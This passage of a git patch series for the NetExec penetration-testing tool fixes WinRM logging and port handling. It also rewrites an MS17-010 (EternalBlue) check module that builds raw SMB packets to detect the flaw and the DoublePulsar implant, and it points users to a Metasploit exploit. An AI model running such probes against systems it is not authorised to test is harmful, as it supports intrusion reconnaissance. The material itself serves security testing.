From fef8028b13419fb05ef1f1dc165d6e7d60cfad82 Mon Sep 17 00:00:00 2001 From: Xiaoli Chan <2209553467@qq.com> Date: Wed, 8 Nov 2023 20:38:58 +0800 Subject: [PATCH 1/8] [winrm] disable logger & add miss port args Signed-off-by: Xiaoli Chan <2209553467@qq.com> --- nxc/protocols/winrm.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 688522ce..17c8bb9c 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -4,6 +4,7 @@ import os import requests import urllib3 import contextlib +import logging import xml.etree.ElementTree as ET from io import StringIO @@ -38,6 +39,8 @@ class winrm(connection): connection.__init__(self, args, db, host) def proto_logger(self): + logging.getLogger("pypsrp").disabled = True + logging.getLogger("pypsrp.wsman").disabled = True self.logger = NXCAdapter( extra={ "protocol": "WINRM", @@ -242,6 +245,7 @@ class winrm(connection): try: self.conn = Client( self.host, + port=self.port, auth="ntlm", username=f"{self.domain}\\{self.username}", password=self.password, @@ -291,6 +295,7 @@ class winrm(connection): try: self.conn = Client( self.host, + port=self.port, auth="ntlm", username=f"{self.domain}\\{self.username}", password=f"{self.lmhash}:{self.nthash}", From 092eb0c5a1e996ebfa2a12457347d142f42bf626 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 8 Nov 2023 13:21:25 -0500 Subject: [PATCH 2/8] fix(ms17-010): ms17-010 works now, and has a lot more debugging info if wanted --- nxc/modules/ms17-010.py | 484 ++++++++++++++++++++++------------------ 1 file changed, 273 insertions(+), 211 deletions(-) diff --git a/nxc/modules/ms17-010.py b/nxc/modules/ms17-010.py index ed5abf12..0cd26fc0 100644 --- a/nxc/modules/ms17-010.py +++ b/nxc/modules/ms17-010.py @@ -5,6 +5,7 @@ from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure import socket import struct +from nxc.logger import nxc_logger class NXCModule: @@ -45,35 +46,54 @@ class SmbHeader(Structure): ("multiplex_id", c_uint16), ] - def __new__(cls, buffer=None): - return cls.from_buffer_copy(buffer) + def __init__(self, buffer): + nxc_logger.debug("server_component : %04x" % self.server_component) + nxc_logger.debug("smb_command : %01x" % self.smb_command) + nxc_logger.debug("error_class : %01x" % self.error_class) + nxc_logger.debug("error_code : %02x" % self.error_code) + nxc_logger.debug("flags : %01x" % self.flags) + nxc_logger.debug("flags2 : %02x" % self.flags2) + nxc_logger.debug("process_id_high : %02x" % self.process_id_high) + nxc_logger.debug("signature : %08x" % self.signature) + nxc_logger.debug("reserved2 : %02x" % self.reserved2) + nxc_logger.debug("tree_id : %02x" % self.tree_id) + nxc_logger.debug("process_id : %02x" % self.process_id) + nxc_logger.debug("user_id : %02x" % self.user_id) + nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id) + + def __new__(self, buffer=None): + nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}") + nxc_logger.debug(f"Type of buffer: {type(buffer)}") + return self.from_buffer_copy(buffer) def generate_smb_proto_payload(*protos): """ - Generates an SMB Protocol payload by concatenating a list of packet protos. + Flattens a nested list and merges all bytes objects into a single bytes object. Args: ---- - *protos (list): List of packet protos. + *protos (list): The list to flatten and merge. Returns: ------- - str: The generated SMB Protocol payload. + bytes: The merged bytes object. """ - # Initialize an empty list to store the hex data - hex_data = [] + nxc_logger.debug("generate smb proto payload") + nxc_logger.debug(f"Protos: {protos}") - # Iterate over each proto in the input list + hex_data = b"" for proto in protos: - # Extend the hex_data list with the elements of the current proto - hex_data.extend(proto) + if isinstance(proto, list): + hex_data += generate_smb_proto_payload(*proto) + elif isinstance(proto, bytes): + hex_data += proto - # Join the elements of the hex_data list into a single string and return it - return "".join(hex_data) + nxc_logger.debug(f"Hex data: {hex_data}") + return hex_data -def calculate_doublepulsar_xor_key(s): +def calculate_doublepulsar_xor_key(self, s): """ Calculate Doublepulsar Xor Key. @@ -85,51 +105,50 @@ def calculate_doublepulsar_xor_key(s): ------- int: The calculated xor key. """ - # Shift the value 16 bits to the left and combine it with the value shifted 8 bits to the left - # OR the result with s shifted 16 bits to the right and combined with s masked with 0xFF0000 - temp = ((s & 0xFF00) | (s << 16)) << 8 | (((s >> 16) | s & 0xFF0000) >> 8) - - # Multiply the temp value by 2 and perform a bitwise XOR with 0xFFFFFFFF - return 2 * temp ^ 0xFFFFFFFF + nxc_logger.debug(f"Calculating Doublepulsar XOR key for: {s}") + x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) + return x & 0xffffffff # truncate to 32 bits def negotiate_proto_request(): """Generate a negotiate_proto_request packet.""" + nxc_logger.debug("generate negotiate proto request") + # Define the NetBIOS header netbios = [ - "\x00", # Message Type - "\x00\x00\x54", # Length + b"\x00", # Message Type + b"\x00\x00\x54", # Length ] # Define the SMB header smb_header = [ - "\xFF\x53\x4D\x42", # Server Component - "\x72", # SMB Command - "\x00\x00\x00\x00", # NT Status - "\x18", # Flags - "\x01\x28", # Flags2 - "\x00\x00", # Process ID High - "\x00\x00\x00\x00\x00\x00\x00\x00", # Signature - "\x00\x00", # Reserved - "\x00\x00", # Tree ID - "\x2F\x4B", # Process ID - "\x00\x00", # User ID - "\xC5\x5E", # Multiplex ID + b"\xFF\x53\x4D\x42", # Server Component + b"\x72", # SMB Command + b"\x00\x00\x00\x00", # NT Status + b"\x18", # Flags + b"\x01\x28", # Flags2 + b"\x00\x00", # Process ID High + b"\x00\x00\x00\x00\x00\x00\x00\x00", # Signature + b"\x00\x00", # Reserved + b"\x00\x00", # Tree ID + b"\x2F\x4B", # Process ID + b"\x00\x00", # User ID + b"\xC5\x5E", # Multiplex ID ] # Define the negotiate_proto_request negotiate_proto_request = [ - "\x00", # Word Count - "\x31\x00", # Byte Count - "\x02", # Requested Dialects Count - "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects - "\x02", # Requested Dialects Count - "\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects - "\x02", # Requested Dialects Count - "\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects - "\x02", # Requested Dialects Count - "\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects + b"\x00", # Word Count + b"\x31\x00", # Byte Count + b"\x02", # Requested Dialects Count + b"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects: LANMAN1.0 + b"\x02", # Requested Dialects Count + b"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects: LM1.2X002 + b"\x02", # Requested Dialects Count + b"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects: NT LANMAN 1.0 + b"\x02", # Requested Dialects Count + b"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects: NT LM 0.12 ] # Return the generated SMB protocol payload @@ -138,54 +157,55 @@ def negotiate_proto_request(): def session_setup_andx_request(): """Generate session setup andx request.""" + nxc_logger.debug("generate session setup andx request" + ) # Define the NetBIOS bytes netbios = [ - "\x00", # length - "\x00\x00\x63", # session service + b"\x00", # length + b"\x00\x00\x63", # session service ] # Define the SMB header bytes smb_header = [ - "\xFF\x53\x4D\x42", # server component - "\x73", # command - "\x00\x00\x00\x00", # NT status - "\x18", # flags - "\x01\x20", # flags2 - "\x00\x00", # PID high - "\x00\x00\x00\x00\x00\x00\x00\x00", # signature - "\x00\x00", # reserved - "\x00\x00", # tid - "\x2F\x4B", # pid - "\x00\x00", # uid - "\xC5\x5E", # mid + b"\xFF\x53\x4D\x42", # server component: .SMB + b"\x73", # command: Session Setup AndX + b"\x00\x00\x00\x00", # NT status + b"\x18", # flags + b"\x01\x20", # flags2 + b"\x00\x00", # PID high + b"\x00\x00\x00\x00\x00\x00\x00\x00", # signature + b"\x00\x00", # reserved + b"\x00\x00", # tree id + b"\x2F\x4B", # pid + b"\x00\x00", # uid + b"\xC5\x5E", # multiplex id ] # Define the session setup andx request bytes session_setup_andx_request = [ - "\x0D", # word count - "\xFF", # andx command - "\x00", # reserved - "\x00\x00", # andx offset - "\xDF\xFF", # max buffer - "\x02\x00", # max mpx count - "\x01\x00", # VC number - "\x00\x00\x00\x00", # session key - "\x00\x00", # ANSI password length - "\x00\x00", # Unicode password length - "\x00\x00\x00\x00", # reserved - "\x40\x00\x00\x00", # capabilities - "\x26\x00", # byte count - "\x00", # account name length - "\x2e\x00", # account name offset - "\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # account name - "\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # primary domain + b"\x0D", # word count + b"\xFF", # andx command: no further commands + b"\x00", # reserved + b"\x00\x00", # andx offset + b"\xDF\xFF", # max buffer + b"\x02\x00", # max mpx count + b"\x01\x00", # VC number + b"\x00\x00\x00\x00", # session key + b"\x00\x00", # ANSI password length + b"\x00\x00", # Unicode password length + b"\x00\x00\x00\x00", # reserved + b"\x40\x00\x00\x00", # capabilities + b"\x26\x00", # byte count + b"\x00", # account + b"\x2e\x00", # primary domain + b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # Native OS: Windows 2000 2195 + b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # Native OS: Windows 2000 5.0 ] - # Call the generate_smb_proto_payload function and return the result return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) -def tree_connect_andx_request(ip: str, userid: str) -> str: +def tree_connect_andx_request(ip, userid): """Generate tree connect andx request. Args: @@ -197,48 +217,59 @@ def tree_connect_andx_request(ip: str, userid: str) -> str: ------- bytes: The generated tree connect andx request payload. """ + nxc_logger.debug("generate tree connect andx request") + # Initialize the netbios header - netbios = [b"\x00", b"\x00\x00\x47"] + netbios = [ + b"\x00", # 'Message_Type' + b"\x00\x00\x47" # 'Length' + ] # Initialize the SMB header smb_header = [ - b"\xFF\x53\x4D\x42", - b"\x75", - b"\x00\x00\x00\x00", - b"\x18", - b"\x01\x20", - b"\x00\x00", - b"\x00\x00\x00\x00\x00\x00\x00\x00", - b"\x00\x00", - b"\x00\x00", - b"\x2F\x4B", - userid, - b"\xC5\x5E", + b"\xFF\x53\x4D\x42", # server_compnent: .SMB + b"\x75", # smb_command: Tree Connect AndX + b"\x00\x00\x00\x00", # 'nt_status' + b"\x18", # 'flags' + b"\x01\x20", # 'flags2' + b"\x00\x00", # 'process_id_high' + b"\x00\x00\x00\x00\x00\x00\x00\x00", # 'signature' + b"\x00\x00", # 'reserved' + b"\x00\x00", # 'tree_id' + b"\x2F\x4B", # 'process_id' + userid, # 'user_id' + b"\xC5\x5E", # 'multiplex_id' ] # Create the IPC string - ipc = f"\\\\{ip}\\IPC$\\x00" + ipc = f"\\\\{ip}\IPC$\x00" + nxc_logger.debug(f"Connecting to {ip} with UID: {userid.hex()}") # Initialize the tree connect andx request tree_connect_andx_request = [ - b"\x04", - b"\xFF", - b"\x00", - b"\x00\x00", - b"\x00\x00", - b"\x01\x00", - b"\x1A\x00", - b"\x00", - ipc.encode(), - b"\x3f\x3f\x3f\x3f\x3f\x00", + b"\x04", # Word Count + b"\xFF", # AndXCommand: No further commands + b"\x00", # Reserved + b"\x00\x00", # AndXOffset + b"\x00\x00", # Flags + b"\x01\x00", # Password Length + b"\x1A\x00", # Byte Count + b"\x00", # Password + ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$ + b"\x3f\x3f\x3f\x3f\x3f\x00", # Service ] # Calculate the length of the payload length = len(b"".join(smb_header)) + len(b"".join(tree_connect_andx_request)) + nxc_logger.debug(f"Length of payload: {length}") # Update the length in the netbios header netbios[1] = struct.pack(">L", length)[-3:] + nxc_logger.debug(f"Netbios: {netbios}") + nxc_logger.debug(f"SMB Header: {smb_header}") + nxc_logger.debug(f"Tree Connect AndX Request: {tree_connect_andx_request}") + # Generate the final SMB protocol payload return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) @@ -258,19 +289,24 @@ def peeknamedpipe_request(treeid, processid, userid, multiplex_id): ------- str: The generated SMB protocol payload. """ + nxc_logger.debug("generate peeknamedpipe request") + # Set the necessary values for the netbios header - netbios = ["\x00", "\x00\x00\x4a"] + netbios = [ + b"\x00", # message type + b"\x00\x00\x4a" # length + ] # Set the values for the SMB header smb_header = [ - "\xFF\x53\x4D\x42", # Server Component - "\x25", # SMB Command - "\x00\x00\x00\x00", # NT Status - "\x18", # Flags2 - "\x01\x28", # Process ID High & Multiplex ID - "\x00\x00", # Tree ID - "\x00\x00\x00\x00\x00\x00\x00\x00", # NT Time - "\x00\x00", # Process ID Low + b"\xFF\x53\x4D\x42", # Server Component: .SMB + b"\x25", # SMB Command: Trans2 + b"\x00\x00\x00\x00", # NT Status + b"\x18", # flags + b"\x01\x28", # flags2 + b"\x00\x00", # pid high + b"\x00\x00\x00\x00\x00\x00\x00\x00", # sig + b"\x00\x00", # Reserved treeid, # Tree ID processid, # Process ID userid, # User ID @@ -279,33 +315,32 @@ def peeknamedpipe_request(treeid, processid, userid, multiplex_id): # Set the values for the transaction request tran_request = [ - "\x10", # Word Count - "\x00\x00", # Total Parameter Count - "\x00\x00", # Total Data Count - "\xff\xff", # Max Parameter Count - "\xff\xff", # Max Data Count - "\x00", # Max Setup Count - "\x00", # Reserved - "\x00\x00", # Flags - "\x00\x00\x00\x00", # Timeout - "\x00\x00", # Reserved - "\x00\x00", # Parameter Count - "\x4a\x00", # Parameter Offset - "\x00\x00", # Data Count - "\x4a\x00", # Data Offset - "\x02", # Setup Count - "\x00", # Reserved - "\x23\x00", # Function Code - "\x00\x00", # Reserved2 - "\x07\x00", # Byte Count - "\x5c\x50\x49\x50\x45\x5c\x00", # Transaction Name + b"\x10", # Word Count + b"\x00\x00", # Total Parameter Count + b"\x00\x00", # Total Data Count + b"\xff\xff", # Max Parameter Count + b"\xff\xff", # Max Data Count + b"\x00", # Max Setup Count + b"\x00", # Reserved + b"\x00\x00", # Flags + b"\x00\x00\x00\x00", # Timeout + b"\x00\x00", # Reserved + b"\x00\x00", # Parameter Count + b"\x4a\x00", # Parameter Offset + b"\x00\x00", # Data Count + b"\x4a\x00", # Data Offset + b"\x02", # Setup Count + b"\x00", # Reserved + b"\x23\x00", # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023) + b"\x00\x00", # SMB Pipe Protocol: FID + b"\x07\x00", + b"\x5c\x50\x49\x50\x45\x5c\x00", # \PIPE\ ] - # Generate the SMB protocol payload return generate_smb_proto_payload(netbios, smb_header, tran_request) -def trans2_request(treeid: str, processid: str, userid: str, multiplex_id: str) -> str: +def trans2_request(treeid, processid, userid, multiplex_id): """Generate trans2 request. Args: @@ -319,19 +354,24 @@ def trans2_request(treeid: str, processid: str, userid: str, multiplex_id: str) ------- The generated SMB protocol payload. """ + nxc_logger.debug("generate trans2 request") + # Define the netbios section of the SMB request - netbios = ["\x00", "\x00\x00\x4f"] + netbios = [ + b"\x00", + b"\x00\x00\x4f" + ] # Define the SMB header section of the SMB request smb_header = [ - "\xFF\x53\x4D\x42", - "\x32", - "\x00\x00\x00\x00", - "\x18", - "\x07\xc0", - "\x00\x00", - "\x00\x00\x00\x00\x00\x00\x00\x00", - "\x00\x00", + b"\xFF\x53\x4D\x42", # 'server_component': .SMB + b"\x32", # 'smb_command': Trans2 + b"\x00\x00\x00\x00", + b"\x18", + b"\x07\xc0", + b"\x00\x00", + b"\x00\x00\x00\x00\x00\x00\x00\x00", + b"\x00\x00", treeid, processid, userid, @@ -340,28 +380,27 @@ def trans2_request(treeid: str, processid: str, userid: str, multiplex_id: str) # Define the trans2 request section of the SMB request trans2_request = [ - "\x0f", - "\x0c\x00", - "\x00\x00", - "\x01\x00", - "\x00\x00", - "\x00", - "\x00", - "\x00\x00", - "\xa6\xd9\xa4\x00", - "\x00\x00", - "\x0c\x00", - "\x42\x00", - "\x00\x00", - "\x4e\x00", - "\x01", - "\x00", - "\x0e\x00", - "\x00\x00", - "\x0c\x00" + "\x00" * 12, + b"\x0f", + b"\x0c\x00", + b"\x00\x00", + b"\x01\x00", + b"\x00\x00", + b"\x00", + b"\x00", + b"\x00\x00", + b"\xa6\xd9\xa4\x00", # Timeout: 3 hours, 3.622 seconds + b"\x00\x00", + b"\x0c\x00", + b"\x42\x00", + b"\x00\x00", + b"\x4e\x00", + b"\x01", + b"\x00", + b"\x0e\x00", # subcommand: SESSION_SETUP + b"\x00\x00", + b"\x0c\x00" + b"\x00" * 12, ] - # Generate the SMB protocol payload by combining the netbios, smb_header, and trans2_request sections return generate_smb_proto_payload(netbios, smb_header, trans2_request) @@ -377,63 +416,86 @@ def check(ip, port=445): ------- bool: True if the vulnerability exists, False otherwise. """ - try: - buffersize = 1024 - timeout = 5.0 + buffersize = 1024 + timeout = 5.0 - # Create a socket and connect to the target IP and port - client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - client.settimeout(timeout) - client.connect((ip, port)) + # Send smb request based on socket. + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + client.settimeout(timeout) + client.connect((ip, port)) - # Send negotiate protocol request and receive response - raw_proto = negotiate_proto_request() + # SMB - Negotiate Protocol Request + raw_proto = negotiate_proto_request() + client.send(raw_proto) + tcp_response = client.recv(buffersize) + + # SMB - Session Setup AndX Request + raw_proto = session_setup_andx_request() + client.send(raw_proto) + tcp_response = client.recv(buffersize) + + netbios = tcp_response[:4] + smb_header = tcp_response[4:36] # SMB Header: 32 bytes + smb = SmbHeader(smb_header) + + user_id = struct.pack(" Date: Wed, 8 Nov 2023 13:32:09 -0500 Subject: [PATCH 3/8] fix(ms17-010): move functions to NXCModule for context.log to properly display output --- nxc/modules/ms17-010.py | 881 ++++++++++++++++++++-------------------- 1 file changed, 439 insertions(+), 442 deletions(-) diff --git a/nxc/modules/ms17-010.py b/nxc/modules/ms17-010.py index 0cd26fc0..a16c7856 100644 --- a/nxc/modules/ms17-010.py +++ b/nxc/modules/ms17-010.py @@ -8,22 +8,6 @@ import struct from nxc.logger import nxc_logger -class NXCModule: - name = "ms17-010" - description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT" - supported_protocols = ["smb"] - opsec_safe = True - multiple_hosts = True - - def options(self, context, module_options): - """ """ - - def on_login(self, context, connection): - if check(connection.host): - context.log.highlight("VULNERABLE") - context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/") - - class SmbHeader(Structure): """SMB Header decoder.""" @@ -63,439 +47,452 @@ class SmbHeader(Structure): def __new__(self, buffer=None): nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}") - nxc_logger.debug(f"Type of buffer: {type(buffer)}") return self.from_buffer_copy(buffer) -def generate_smb_proto_payload(*protos): - """ - Flattens a nested list and merges all bytes objects into a single bytes object. - - Args: - ---- - *protos (list): The list to flatten and merge. - - Returns: - ------- - bytes: The merged bytes object. - """ - nxc_logger.debug("generate smb proto payload") - nxc_logger.debug(f"Protos: {protos}") - - hex_data = b"" - for proto in protos: - if isinstance(proto, list): - hex_data += generate_smb_proto_payload(*proto) - elif isinstance(proto, bytes): - hex_data += proto - - nxc_logger.debug(f"Hex data: {hex_data}") - return hex_data - - -def calculate_doublepulsar_xor_key(self, s): - """ - Calculate Doublepulsar Xor Key. - - Args: - ---- - s (int): The input value. - - Returns: - ------- - int: The calculated xor key. - """ - nxc_logger.debug(f"Calculating Doublepulsar XOR key for: {s}") - x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) - return x & 0xffffffff # truncate to 32 bits - - - -def negotiate_proto_request(): - """Generate a negotiate_proto_request packet.""" - nxc_logger.debug("generate negotiate proto request") - - # Define the NetBIOS header - netbios = [ - b"\x00", # Message Type - b"\x00\x00\x54", # Length - ] - - # Define the SMB header - smb_header = [ - b"\xFF\x53\x4D\x42", # Server Component - b"\x72", # SMB Command - b"\x00\x00\x00\x00", # NT Status - b"\x18", # Flags - b"\x01\x28", # Flags2 - b"\x00\x00", # Process ID High - b"\x00\x00\x00\x00\x00\x00\x00\x00", # Signature - b"\x00\x00", # Reserved - b"\x00\x00", # Tree ID - b"\x2F\x4B", # Process ID - b"\x00\x00", # User ID - b"\xC5\x5E", # Multiplex ID - ] - - # Define the negotiate_proto_request - negotiate_proto_request = [ - b"\x00", # Word Count - b"\x31\x00", # Byte Count - b"\x02", # Requested Dialects Count - b"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects: LANMAN1.0 - b"\x02", # Requested Dialects Count - b"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects: LM1.2X002 - b"\x02", # Requested Dialects Count - b"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects: NT LANMAN 1.0 - b"\x02", # Requested Dialects Count - b"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects: NT LM 0.12 - ] - - # Return the generated SMB protocol payload - return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) - - -def session_setup_andx_request(): - """Generate session setup andx request.""" - nxc_logger.debug("generate session setup andx request" - ) - # Define the NetBIOS bytes - netbios = [ - b"\x00", # length - b"\x00\x00\x63", # session service - ] - - # Define the SMB header bytes - smb_header = [ - b"\xFF\x53\x4D\x42", # server component: .SMB - b"\x73", # command: Session Setup AndX - b"\x00\x00\x00\x00", # NT status - b"\x18", # flags - b"\x01\x20", # flags2 - b"\x00\x00", # PID high - b"\x00\x00\x00\x00\x00\x00\x00\x00", # signature - b"\x00\x00", # reserved - b"\x00\x00", # tree id - b"\x2F\x4B", # pid - b"\x00\x00", # uid - b"\xC5\x5E", # multiplex id - ] - - # Define the session setup andx request bytes - session_setup_andx_request = [ - b"\x0D", # word count - b"\xFF", # andx command: no further commands - b"\x00", # reserved - b"\x00\x00", # andx offset - b"\xDF\xFF", # max buffer - b"\x02\x00", # max mpx count - b"\x01\x00", # VC number - b"\x00\x00\x00\x00", # session key - b"\x00\x00", # ANSI password length - b"\x00\x00", # Unicode password length - b"\x00\x00\x00\x00", # reserved - b"\x40\x00\x00\x00", # capabilities - b"\x26\x00", # byte count - b"\x00", # account - b"\x2e\x00", # primary domain - b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # Native OS: Windows 2000 2195 - b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # Native OS: Windows 2000 5.0 - ] - - return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) - - -def tree_connect_andx_request(ip, userid): - """Generate tree connect andx request. - - Args: - ---- - ip (str): The IP address. - userid (str): The user ID. - - Returns: - ------- - bytes: The generated tree connect andx request payload. - """ - nxc_logger.debug("generate tree connect andx request") - - # Initialize the netbios header - netbios = [ - b"\x00", # 'Message_Type' - b"\x00\x00\x47" # 'Length' - ] - - # Initialize the SMB header - smb_header = [ - b"\xFF\x53\x4D\x42", # server_compnent: .SMB - b"\x75", # smb_command: Tree Connect AndX - b"\x00\x00\x00\x00", # 'nt_status' - b"\x18", # 'flags' - b"\x01\x20", # 'flags2' - b"\x00\x00", # 'process_id_high' - b"\x00\x00\x00\x00\x00\x00\x00\x00", # 'signature' - b"\x00\x00", # 'reserved' - b"\x00\x00", # 'tree_id' - b"\x2F\x4B", # 'process_id' - userid, # 'user_id' - b"\xC5\x5E", # 'multiplex_id' - ] - - # Create the IPC string - ipc = f"\\\\{ip}\IPC$\x00" - nxc_logger.debug(f"Connecting to {ip} with UID: {userid.hex()}") - - # Initialize the tree connect andx request - tree_connect_andx_request = [ - b"\x04", # Word Count - b"\xFF", # AndXCommand: No further commands - b"\x00", # Reserved - b"\x00\x00", # AndXOffset - b"\x00\x00", # Flags - b"\x01\x00", # Password Length - b"\x1A\x00", # Byte Count - b"\x00", # Password - ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$ - b"\x3f\x3f\x3f\x3f\x3f\x00", # Service - ] - - # Calculate the length of the payload - length = len(b"".join(smb_header)) + len(b"".join(tree_connect_andx_request)) - nxc_logger.debug(f"Length of payload: {length}") - - # Update the length in the netbios header - netbios[1] = struct.pack(">L", length)[-3:] - - nxc_logger.debug(f"Netbios: {netbios}") - nxc_logger.debug(f"SMB Header: {smb_header}") - nxc_logger.debug(f"Tree Connect AndX Request: {tree_connect_andx_request}") - - # Generate the final SMB protocol payload - return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) - - -def peeknamedpipe_request(treeid, processid, userid, multiplex_id): - """ - Generate tran2 request. - - Args: - ---- - treeid (str): The tree ID. - processid (str): The process ID. - userid (str): The user ID. - multiplex_id (str): The multiplex ID. - - Returns: - ------- - str: The generated SMB protocol payload. - """ - nxc_logger.debug("generate peeknamedpipe request") - - # Set the necessary values for the netbios header - netbios = [ - b"\x00", # message type - b"\x00\x00\x4a" # length - ] - - # Set the values for the SMB header - smb_header = [ - b"\xFF\x53\x4D\x42", # Server Component: .SMB - b"\x25", # SMB Command: Trans2 - b"\x00\x00\x00\x00", # NT Status - b"\x18", # flags - b"\x01\x28", # flags2 - b"\x00\x00", # pid high - b"\x00\x00\x00\x00\x00\x00\x00\x00", # sig - b"\x00\x00", # Reserved - treeid, # Tree ID - processid, # Process ID - userid, # User ID - multiplex_id, # Multiplex ID - ] - - # Set the values for the transaction request - tran_request = [ - b"\x10", # Word Count - b"\x00\x00", # Total Parameter Count - b"\x00\x00", # Total Data Count - b"\xff\xff", # Max Parameter Count - b"\xff\xff", # Max Data Count - b"\x00", # Max Setup Count - b"\x00", # Reserved - b"\x00\x00", # Flags - b"\x00\x00\x00\x00", # Timeout - b"\x00\x00", # Reserved - b"\x00\x00", # Parameter Count - b"\x4a\x00", # Parameter Offset - b"\x00\x00", # Data Count - b"\x4a\x00", # Data Offset - b"\x02", # Setup Count - b"\x00", # Reserved - b"\x23\x00", # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023) - b"\x00\x00", # SMB Pipe Protocol: FID - b"\x07\x00", - b"\x5c\x50\x49\x50\x45\x5c\x00", # \PIPE\ - ] - - return generate_smb_proto_payload(netbios, smb_header, tran_request) - - -def trans2_request(treeid, processid, userid, multiplex_id): - """Generate trans2 request. - - Args: - ---- - treeid: The treeid parameter. - processid: The processid parameter. - userid: The userid parameter. - multiplex_id: The multiplex_id parameter. - - Returns: - ------- - The generated SMB protocol payload. - """ - nxc_logger.debug("generate trans2 request") - - # Define the netbios section of the SMB request - netbios = [ - b"\x00", - b"\x00\x00\x4f" - ] - - # Define the SMB header section of the SMB request - smb_header = [ - b"\xFF\x53\x4D\x42", # 'server_component': .SMB - b"\x32", # 'smb_command': Trans2 - b"\x00\x00\x00\x00", - b"\x18", - b"\x07\xc0", - b"\x00\x00", - b"\x00\x00\x00\x00\x00\x00\x00\x00", - b"\x00\x00", - treeid, - processid, - userid, - multiplex_id, - ] - - # Define the trans2 request section of the SMB request - trans2_request = [ - b"\x0f", - b"\x0c\x00", - b"\x00\x00", - b"\x01\x00", - b"\x00\x00", - b"\x00", - b"\x00", - b"\x00\x00", - b"\xa6\xd9\xa4\x00", # Timeout: 3 hours, 3.622 seconds - b"\x00\x00", - b"\x0c\x00", - b"\x42\x00", - b"\x00\x00", - b"\x4e\x00", - b"\x01", - b"\x00", - b"\x0e\x00", # subcommand: SESSION_SETUP - b"\x00\x00", - b"\x0c\x00" + b"\x00" * 12, - ] - - return generate_smb_proto_payload(netbios, smb_header, trans2_request) - - -def check(ip, port=445): - """Check if MS17_010 SMB Vulnerability exists. - - Args: - ---- - ip (str): The IP address of the target machine. - port (int, optional): The port number to connect to. Defaults to 445. - - Returns: - ------- - bool: True if the vulnerability exists, False otherwise. - """ - buffersize = 1024 - timeout = 5.0 - - # Send smb request based on socket. - client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - client.settimeout(timeout) - client.connect((ip, port)) - - # SMB - Negotiate Protocol Request - raw_proto = negotiate_proto_request() - client.send(raw_proto) - tcp_response = client.recv(buffersize) - - # SMB - Session Setup AndX Request - raw_proto = session_setup_andx_request() - client.send(raw_proto) - tcp_response = client.recv(buffersize) - - netbios = tcp_response[:4] - smb_header = tcp_response[4:36] # SMB Header: 32 bytes - smb = SmbHeader(smb_header) - - user_id = struct.pack("> 16) | s & 0xff0000) >> 8))) + return x & 0xffffffff # truncate to 32 bits + + + + def negotiate_proto_request(self): + """Generate a negotiate_proto_request packet.""" + self.logger.debug("generate negotiate proto request") + + # Define the NetBIOS header + netbios = [ + b"\x00", # Message Type + b"\x00\x00\x54", # Length + ] + + # Define the SMB header + smb_header = [ + b"\xFF\x53\x4D\x42", # Server Component + b"\x72", # SMB Command + b"\x00\x00\x00\x00", # NT Status + b"\x18", # Flags + b"\x01\x28", # Flags2 + b"\x00\x00", # Process ID High + b"\x00\x00\x00\x00\x00\x00\x00\x00", # Signature + b"\x00\x00", # Reserved + b"\x00\x00", # Tree ID + b"\x2F\x4B", # Process ID + b"\x00\x00", # User ID + b"\xC5\x5E", # Multiplex ID + ] + + # Define the negotiate_proto_request + negotiate_proto_request = [ + b"\x00", # Word Count + b"\x31\x00", # Byte Count + b"\x02", # Requested Dialects Count + b"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects: 